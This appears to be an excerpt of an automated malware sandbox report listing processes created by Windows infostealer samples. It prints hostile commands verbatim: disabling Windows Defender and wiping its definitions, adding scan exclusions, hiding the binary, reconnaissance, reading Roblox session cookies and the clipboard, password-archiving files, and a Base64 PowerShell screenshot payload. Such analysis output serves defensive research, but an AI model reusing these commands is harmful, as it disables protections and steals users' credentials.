Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIA	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "attrib -r C:\Windows\System32\drivers\etc\hosts"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "attrib +r C:\Windows\System32\drivers\etc\hosts"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "getmac"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ .scr'	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "C:\Users\user\AppData\Local\Temp\_MEI51602\rar.exe a -r -hp"yeezy222" "C:\Users\user\AppData\Local\Temp\vLqBW.zip" *"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "wmic os get Caption"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\attrib.exe attrib +h +s "C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ .scr'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FO LIST
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FO LIST
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
Source: C:\Users\user\AppData\Local\Temp\1017855001\8ZVMneG.exe	Process created: C:\Windows\System32\attrib.exe attrib +r C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Local\Temp\1017855001\8ZVMneG.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FO LIST
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-Clipboard
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tree.com tree /A /F
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\netsh.exe netsh wlan show profile
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\systeminfo.exe systeminfo
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tree.com tree /A /F
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIAB
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\l2sopuet\l2sopuet.cmdline"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\attrib.exe attrib -r C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tree.com tree /A /F
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\attrib.exe attrib +r C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES2DEF.tmp" "c:\Users\user\AppData\Local\Temp\l2sopuet\CSC2774EC596431493C9BAB8956CFD3669.TMP"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\getmac.exe getmac
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tree.com tree /A /F
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FO LIST
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tree.com tree /A /F
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tree.com tree /A /F
Source: C:\Users\user\AppData\Local\Temp\1017871001\m9sfEU9.exe	Process created: C:\Users\Public\Netstat\FuturreApp.exe "C:\Users\Public\Netstat\FuturreApp.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
Source: C:\Users\user\AppData\Local\Temp\1017899001\d0ef52de9f.exe	Process created: C:\Users\user\AppData\Local\Temp\1017899001\d0ef52de9f.exe "C:\Users\user\AppData\Local\Temp\1017899001\d0ef52de9f.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\_MEI51602\rar.exe C:\Users\user\AppData\Local\Temp\_MEI51602\rar.exe a -r -hp"yeezy222" "C:\Users\user\AppData\Local\Temp\vLqBW.zip" *
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic os get Caption

Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Process created: C:\Windows\System32\cmd.exe c:\windows\system32\cmd.exe /c "powershell set-mppreference -disableintrusionpreventionsystem $true -disableioavprotection $true -disablerealtimemonitoring $true -disablescriptscanning $true -enablecontrolledfolderaccess disabled -enablenetworkprotection auditmode -force -mapsreporting disabled -submitsamplesconsent neversend && powershell set-mppreference -submitsamplesconsent 2 & "%programfiles%\windows defender\mpcmdrun.exe" -removedefinitions -all"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell set-mppreference -disableintrusionpreventionsystem $true -disableioavprotection $true -disablerealtimemonitoring $true -disablescriptscanning $true -enablecontrolledfolderaccess disabled -enablenetworkprotection auditmode -force -mapsreporting disabled -submitsamplesconsent neversend
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Process created: C:\Windows\System32\cmd.exe c:\windows\system32\cmd.exe /c "powershell.exe -noprofile -executionpolicy bypass -encodedcommand jabzag8adqbyagmazqagad0aiabaaciadqakahuacwbpag4azwagafmaeqbzahqazqbtadsadqakahuacwbpag4azwagafmaeqbzahqazqbtac4aqwbvagwabablagmadabpag8abgbzac4arwblag4azqbyagkaywa7aa0acgb1ahmaaqbuagcaiabtahkacwb0aguabqauaeqacgbhahcaaqbuagcaowanaaoadqbzagkabgbnacaauwb5ahmadablag0algbxagkabgbkag8adwbzac4argbvahiabqbzadsadqakaa0acgbwahuaygbsagkaywagagmababhahmacwagafmaywbyaguazqbuahmaaabvahqadqakahsadqakacaaiaagacaacab1agiababpagmaiabzahqayqb0agkaywagaewaaqbzahqapabcagkadabtageacaa+acaaqwbhahaadab1ahiazqbtagmacgblaguabgbzacgakqanaaoaiaagacaaiab7aa0acgagacaaiaagacaaiaagacaadgbhahiaiabyaguacwb1agwadabzacaapqagag4azqb3acaatabpahmadaa8aeiaaqb0ag0ayqbwad4akaapadsadqakacaaiaagacaaiaagacaaiab2ageacgagageababsafmaywbyaguazqbuahmaiaa9acaauwbjahiazqblag4algbbagwababtagmacgblaguabgbzadsadqakaa0acgagacaaiaagacaaiaagacaazgbvahiazqbhagmaaaagacgauwbjahiazqblag4aiabzagmacgblaguabgagagkabgagageababsafmaywbyaguazqbuahmakqanaaoaiaagacaaiaagacaaiaagahsadqakacaaiaagacaaiaagacaaiaagacaaiaagahqacgb5aa0acgagacaaiaagacaaiaagacaaiaagacaaiab7aa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagafiazqbjahqayqbuagcabablacaaygbvahuabgbkahmaiaa9acaacwbjahiazqblag4algbcag8adqbuagqacwa7aa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagahuacwbpag4azwagacgaqgbpahqabqbhahaaiabiagkadabtageacaagad0aiabuaguadwagaeiaaqb0ag0ayqbwacgaygbvahuabgbkahmalgbxagkazab0aggalaagagiabwb1ag4azabzac4asablagkazwboahqakqapaa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagahsadqakacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiab1ahmaaqbuagcaiaaoaecacgbhahaaaabpagmacwagagcacgbhahaaaabpagmacwagad0aiabhahiayqbwaggaaqbjahmalgbgahiabwbtaekabqbhagcazqaoagiaaqb0ag0ayqbwackakqanaaoaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagahsadqakacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagagcacgbhahaaaabpagmacwauaemabwbwahkargbyag8abqbtagmacgblaguabgaoag4azqb3acaauabvagkabgb0acgaygbvahuabgbkahmalgbmaguazgb0acwaiabiag8adqbuagqacwauafqabwbwackalaagafaabwbpag4adaauaeuabqbwahqaeqasacaaygbvahuabgbkahmalgbtagkaegblackaowanaaoaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagah0adqakaa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaacgblahmadqbsahqacwauaeeazabkacgakabcagkadabtageacaapagiaaqb0ag0ayqbwac4aqwbsag8abgblacgakqapadsadqakacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaafqanaaoaiaagacaaiaagacaaiaagacaaiaagacaafqanaaoaiaagacaaiaagacaaiaagacaaiaagacaaywbhahqaywboacaakabfahgaywblahaadabpag8abgapaa0acgagacaaiaagacaaiaagacaaiaagacaaiab7aa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagac8alwagaegayqbuagqabablacaayqbuahkaiablahgaywblahaadabpag8abgbzacaaaablahiazqanaaoaiaagacaaiaagacaaiaagacaaiaagacaafqanaaoaiaagacaaiaagacaaiaagah0adqakaa0acgagacaaiaagacaaiaagacaacgblahqadqbyag4aiabyaguacwb1agwadabzadsadqakacaaiaagacaafqanaaoafqanaaoaigbaaa0acganaaoaqqbkagqalqbuahkacablacaalqbuahkacablaeqazqbmagkabgbpahqaaqbvag4aiaakahmabwb1ahiaywblacaalqbsaguazgblahiazqbuagmazqbkaeeacwbzaguabqbiagwaaqblahmaia
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -noprofile -executionpolicy bypass -encodedcommand jabzag8adqbyagmazqagad0aiabaaciadqakahuacwbpag4azwagafmaeqbzahqazqbtadsadqakahuacwbpag4azwagafmaeqbzahqazqbtac4aqwbvagwabablagmadabpag8abgbzac4arwblag4azqbyagkaywa7aa0acgb1ahmaaqbuagcaiabtahkacwb0aguabqauaeqacgbhahcaaqbuagcaowanaaoadqbzagkabgbnacaauwb5ahmadablag0algbxagkabgbkag8adwbzac4argbvahiabqbzadsadqakaa0acgbwahuaygbsagkaywagagmababhahmacwagafmaywbyaguazqbuahmaaabvahqadqakahsadqakacaaiaagacaacab1agiababpagmaiabzahqayqb0agkaywagaewaaqbzahqapabcagkadabtageacaa+acaaqwbhahaadab1ahiazqbtagmacgblaguabgbzacgakqanaaoaiaagacaaiab7aa0acgagacaaiaagacaaiaagacaadgbhahiaiabyaguacwb1agwadabzacaapqagag4azqb3acaatabpahmadaa8aeiaaqb0ag0ayqbwad4akaapadsadqakacaaiaagacaaiaagacaaiab2ageacgagageababsafmaywbyaguazqbuahmaiaa9acaauwbjahiazqblag4algbbagwababtagmacgblaguabgbzadsadqakaa0acgagacaaiaagacaaiaagacaazgbvahiazqbhagmaaaagacgauwbjahiazqblag4aiabzagmacgblaguabgagagkabgagageababsafmaywbyaguazqbuahmakqanaaoaiaagacaaiaagacaaiaagahsadqakacaaiaagacaaiaagacaaiaagacaaiaagahqacgb5aa0acgagacaaiaagacaaiaagacaaiaagacaaiab7aa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagafiazqbjahqayqbuagcabablacaaygbvahuabgbkahmaiaa9acaacwbjahiazqblag4algbcag8adqbuagqacwa7aa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagahuacwbpag4azwagacgaqgbpahqabqbhahaaiabiagkadabtageacaagad0aiabuaguadwagaeiaaqb0ag0ayqbwacgaygbvahuabgbkahmalgbxagkazab0aggalaagagiabwb1ag4azabzac4asablagkazwboahqakqapaa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagahsadqakacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiab1ahmaaqbuagcaiaaoaecacgbhahaaaabpagmacwagagcacgbhahaaaabpagmacwagad0aiabhahiayqbwaggaaqbjahmalgbgahiabwbtaekabqbhagcazqaoagiaaqb0ag0ayqbwackakqanaaoaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagahsadqakacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagagcacgbhahaaaabpagmacwauaemabwbwahkargbyag8abqbtagmacgblaguabgaoag4azqb3acaauabvagkabgb0acgaygbvahuabgbkahmalgbmaguazgb0acwaiabiag8adqbuagqacwauafqabwbwackalaagafaabwbpag4adaauaeuabqbwahqaeqasacaaygbvahuabgbkahmalgbtagkaegblackaowanaaoaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagah0adqakaa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaacgblahmadqbsahqacwauaeeazabkacgakabcagkadabtageacaapagiaaqb0ag0ayqbwac4aqwbsag8abgblacgakqapadsadqakacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaafqanaaoaiaagacaaiaagacaaiaagacaaiaagacaafqanaaoaiaagacaaiaagacaaiaagacaaiaagacaaywbhahqaywboacaakabfahgaywblahaadabpag8abgapaa0acgagacaaiaagacaaiaagacaaiaagacaaiab7aa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagac8alwagaegayqbuagqabablacaayqbuahkaiablahgaywblahaadabpag8abgbzacaaaablahiazqanaaoaiaagacaaiaagacaaiaagacaaiaagacaafqanaaoaiaagacaaiaagacaaiaagah0adqakaa0acgagacaaiaagacaaiaagacaacgblahqadqbyag4aiabyaguacwb1agwadabzadsadqakacaaiaagacaafqanaaoafqanaaoaigbaaa0acganaaoaqqbkagqalqbuahkacablacaalqbuahkacablaeqazqbmagkabgbpahqaaqbvag4aiaakahmabwb1ahiaywblacaalqbsaguazgblahiazqbuagmazqbkaeeacwbzaguabqbiagwaaqblahmaiab
